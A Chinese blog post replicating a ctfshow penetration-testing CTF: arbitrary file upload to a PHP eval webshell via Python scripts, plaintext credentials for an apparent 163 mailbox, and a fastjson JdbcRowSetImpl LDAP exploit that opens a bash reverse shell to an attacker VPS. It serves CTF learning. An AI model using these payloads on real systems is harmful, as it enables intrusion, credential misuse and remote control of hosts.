因为不是官方wp,而且是照着官方wp复现的,俗称看着答案做题,所以称之为民间复现wp(
对于这道题呢,我就是妥妥的“不会的看热闹”,在匿名聊天网站匹配了好几次,也没匹配到派发菜狗玩具的群主小姐姐,后来因为平台多次遭受破坏,站长把场景一的getshell换成了信息泄露(比赛结束后应该是又改回来咯),我才看见了泄露的用户名和密码,但发现进了匿名聊天网站的后台好像也没什么用,于是直接开摆(
后来看了官方wp才知道居然是要拿着用户名和密码去登录真的163邮箱,这属实是没想到哇~
好啦,碎碎念结束,趁平台还没关(早就超过72h了我们敬爱的站长是不是忘了……)赶紧写(水)一篇博客!
目录
场景一
1.信息搜集
1)获知项目名称
打开场景一,看到是匿名聊天网站,联想到在「第一场」渗透赛的官方wp中,用出现在网站底部的项目名称去github找源码的思路,遂去点击网站底部的查看帮助看看能否获得些什么信息(现学现用了属于是
然后就从帮助文档页面的底部看到了项目名称:Anonymous-Chat-Room
2)去github搜索项目名
这里要用全站搜索哦,然后第一个就是了!点进去看看源码。
2.源码审计
看到有这么多文件,要我做源码审计我是真的会看不进去,可能多看多涨经验就好了吧,前提是要真的去多看……
从官方wp得知,有漏洞的源码在Anonymous-Chat-Room/client/photo_upload.php,后来看了其他师傅的wp得知,在聊天的界面有上传图片的功能,抓包能看出photo_upload.php这个文件有问题,存在任意文件上传漏洞,感觉这样从功能出发找问题会比挨个文件看代码要容易和快很多,即先对某个或某几个功能点进行抓包和分析,定位出存在漏洞的文件,再有针对性地去看对应文件中的源码,学到了学到了。
以及,从源码中还可以知道文件上传后其保存的路径是images/photo/,所以接下来就可以去上传一句话木马了~
3.getshell
1)借助Python脚本上传文件
先新建一个文件1.txt,内容就是一句话木马:
<?php eval($_POST[1]); ?>
然后借助Python脚本上传php文件,这里写的就是官方wp中的Python脚本,注意这里的文件类型要符合上面源码中的要求
import requests
url ="https://i.am.ctfer.com/photo_upload.php"
files = {'file': ('1.php', open('1.txt', 'rb'), 'image/gif', {'Expires': '0'})}
response = requests.post(url=url,files=files)
print(response.text)
运行这段Python脚本,会打印出上传至服务器端的文件名(也就是响应包的内容啦),我这里是64103df7e47051.php,至于这个php文件保存的路径呢?就是从上面的源码中看出的images/photo/,然后就可以移步蚁剑尝试可否成功连接了。
2)蚁剑连接
当然了不用Python脚本,用burp上传文件也是一样的,在聊天窗口发送内容是一句话木马、扩展名是图片类型(如jpg)的文件,在burp中拦截或者重发将扩展名改成php就可以了,这是后来又在burp里尝试的:
4.获得账号
根据我为数不多的经验,接下来应该是要在这个服务器中,寻找登录方面的信息,感觉要去/var/www/html/,然后在这个路径下看到有login.php,点开看看,果然在这。于是得到了:
用户名:hacker_ctfshow@163.com
密码:Hacker_ctfsh0w
虽然场景一有网站后台,但当时登进去了也没什么用,考点也确实不在这,下一步的正确做法是要去登录真实的163邮箱。
场景二
1.登录邮箱查看邮件
用户名:hacker_ctfshow@163.com
密码:Hacker_ctfsh0w
登录163邮箱
看到比较“可疑”的邮件“ctfshow入职通知”
2.弱密码打开加密邮件
打开该邮件,发现这是个加密邮件,密码是弱密码123456
3.获得新场景的地址
打开邮件后出现了两个新的地址
场景三
源码审计
打开邮件中的“开发地址”,用登陆key成功登录后看到是xblog应用源码,从官方wp得知,在/c/t.php存在上传漏洞,这里的$d存在逻辑问题,没有过滤带入了php文件。
这我是真看不出来,这太大胆了(指需要大胆猜测和大胆尝试才能做出来这一步
而且这里可以直接在vscode的终端里getshell,虽然不知道在这里getshell有什么用,但是之前不知道原来还可以在vscode里这样操作哎!
场景四
1.getshell
1)登录获取cookie
直接打开https://blog.ctfer.com/是下面这个样子
从官方wp得知要先登录https://blog.ctfer.com/a/
至于为什么是从/a/处登录呢,可能还是从「场景三」里的代码审计得知的?可以看到在/a/index.php中有和登录相关的代码
接着去访问https://blog.ctfer.com/a/
看到的是如下界面,输入admin:123456
然后下一个界面再输入一次admin:123456即可登录
有个不太明白的地方是,为什么有时候访问https://blog.ctfer.com/a/会直接出来上图中的这个界面(即没有了再往上一张图片的那个“检测到你是第一次进入”的界面),然后这里输入了admin:123456还会提示“验证错误”,有时清理了浏览器缓存、把浏览器退出重新开也还是一样的情况,需要等那么一小会儿之后才正常……然而在顺利的时候,即使登录状态没了,刷新一下重新登录就可以的,登录后的cookie也不会变,我不理解呜呜
正常登录后是这个样子,进入了一个编辑界面:
而我们主要是想得到登录成功的cookie,可以从浏览器开发者工具的“网络”中找到后复制
可以看到我这里的cookie是85be88a3bfcf87c0c32a86acf746a419,需要把它放到下一步用的Python脚本中。
2)借助Python脚本上传文件
脚本来自官方wp,把cookie换成自己已经登录时的cookie即可
注意这里dat变量最前面是";然后才是eval($_POST[1])
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-09 11:05:32
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-09 11:38:22
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
url = "https://blog.ctfer.com/c/t.php"
cookie={
"PHPSESSID":"85be88a3bfcf87c0c32a86acf746a419"
}
data={
"dat":'";eval($_POST[1]);?>',
"title":"1",
"content":"%20",
}
response = requests.post(url=url+"?type=submit",data=data,cookies=cookie)
print(response.text)
运行脚本,成功上传文件时打印的结果是:
上传的文件保存在/p/0.php,这个也是由「场景三」的代码审计得知的,这里再放个截图吧~(有时候也可能会出来"pid":1,布吉岛是不是因为在这之前刚好有其他人上传了文件?
2)蚁剑连接
2.内网扫描
(但是我不会扫,就浅浅记录一下复现结果
1)获取当前ip
在蚁剑的虚拟终端中执行命令
ip addr show
得知当前主机的内网地址是192.168.102.3(有时候也可能是.2)
2)找到存活主机
执行ping 192.168.102.2 -c 1
看到执行结果显示无丢包,于是找到存活主机192.168.102.2(如果上一步是.2那么这一步是.3,你们懂吧)
(这里我还不会扫描……好在复现时候能一下试出来
3)发现存在fastjson端口
执行curl http://192.168.102.2:8090
发现存在8090的fastjson端口
3.横向渗透
下面才是对于我而言最难的地方,虽然对于熟悉nday漏洞的师傅们来说,fastjson漏洞复现是很熟悉很常规的内容,但是对于我来说,复现起来简直举步维艰(忍住眼泪,完全忍不住,不忍了,哇T o T
先说结果,我按照官方wp的步骤没复现出来,原因在于我的中间过程没有完全按照官方wp,因为我是临时借用了同事的vps,他的vps不能执行javac,于是我先在我的本机(MacOS)中执行了javac命令再将生成的class文件放到vps中,可能会因为跨平台带来问题吧,这是我目前试了数不清多少次后得出的最有可能的原因了……在这个过程中,有一位非常厉害的大佬一直指导我,他特别有耐心,给我讲解细节、帮我分析原因,真的非常感谢他。
后来,我的卷王同事说他搞定了,在方法上有一点区别,所以我在这里就记录一下后来跟同事学到的方法:
1)启动监听和指定反弹端口合并在一步
这里应该就是省去了官方wp中生成恶意class和vps挂恶意class的步骤,免去了我class文件跨平台的问题,当然并不是说官方wp用的方法不好,之前看了几篇关于fastjson复现的文章都是官方wp上的那种步骤,主要是我看来看去、试来试去依然还是玩不转……
下面的方法是用一条命令做了启动监听和指定反弹端口两个操作(应该是这样说吧?
先去把fastjson_tool.jar下载到vps中,然后在其所在目录执行命令:
java -cp fastjson_tool.jar fastjson.HLDAPServer 此处写vps的公网ip 3389 "bash -c {echo,想要执行命令的base64编码}|{base64,-d}|{bash,-i}"
其中echo的后面要执行的命令是
bash -i >& /dev/tcp/vps的ip/9999 0>&1
这句命令的base64编码可以用工具得到,这里侦听的端口和最后反弹到的端口我就和官方wp中用一样的了,分别是3389、9999
2)监听反弹
再另开一个ssh连接窗口,执行命令nc -lvvnp 9999
3)在蚁剑连接的服务器新建文件
在蚁剑连接的服务器上新建两个文件,x.json和a.sh,这里大致就和官方wp一样了,要把其中的vps地址换成自己的,以及对于"dataSourceName"的值,前面的ldap和最后的Object在官方wp中是rmi和Exploit。
如果蚁剑的连接断掉了,就重新登录和上传一句话木马,再测试连接。
x.json的内容:
{
“e”: {
“@type”: “java.lang.Class”,
“val”: “com.sun.rowset.JdbcRowSetImpl”
},
“f”: {
“@type”: “com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”: “ldap://vps地址:3389/Object”,
“autoCommit”: true
}
}
a.sh的内容同官方wp:
curl -X POST -H ‘content-type:application/json’ http://192.168.102.2:8090/ -d @x.json
注意,这里的ip是之前那个“存活主机”的内网ip,最后也可能是.3
4)在蚁剑的虚拟终端执行命令
先给a.sh加执行权限,再执行a.sh
chmod u+x a.sh
./a.sh >2.txt
cat 2.txt
结果如下:
5)成功反弹shell
查看接收反弹的ssh连接窗口,看到已经反弹shell了,但是复现时已经没有/root/flag.txt了,所以ls一下看看就好,到这里就复现结束了。
后记
再次感谢某个超厉害的大佬的帮助,我感觉特别开心。感谢同事借给我vps还在百忙之中抽出时间复现了本题最后的横向渗透并教会了我。感谢ctfshow站长提供了这么好玩的渗透赛和详细的官方wp让我这样的小白也能跟着复现。
我可真是太能碎碎念了……写博客好累啊。因为中间有些内容还是没真正理解,所以可能有表达不对的地方,欢迎批评指正。我这人啊,实在是太弱了。一旦接受了自己的软弱,是开摆?还是反而能放下心中的包袱,去集中精力让自己变强?努力真的能变强吗?比较是偷走幸福的小偷,愿进一寸有进一寸的欢喜吧。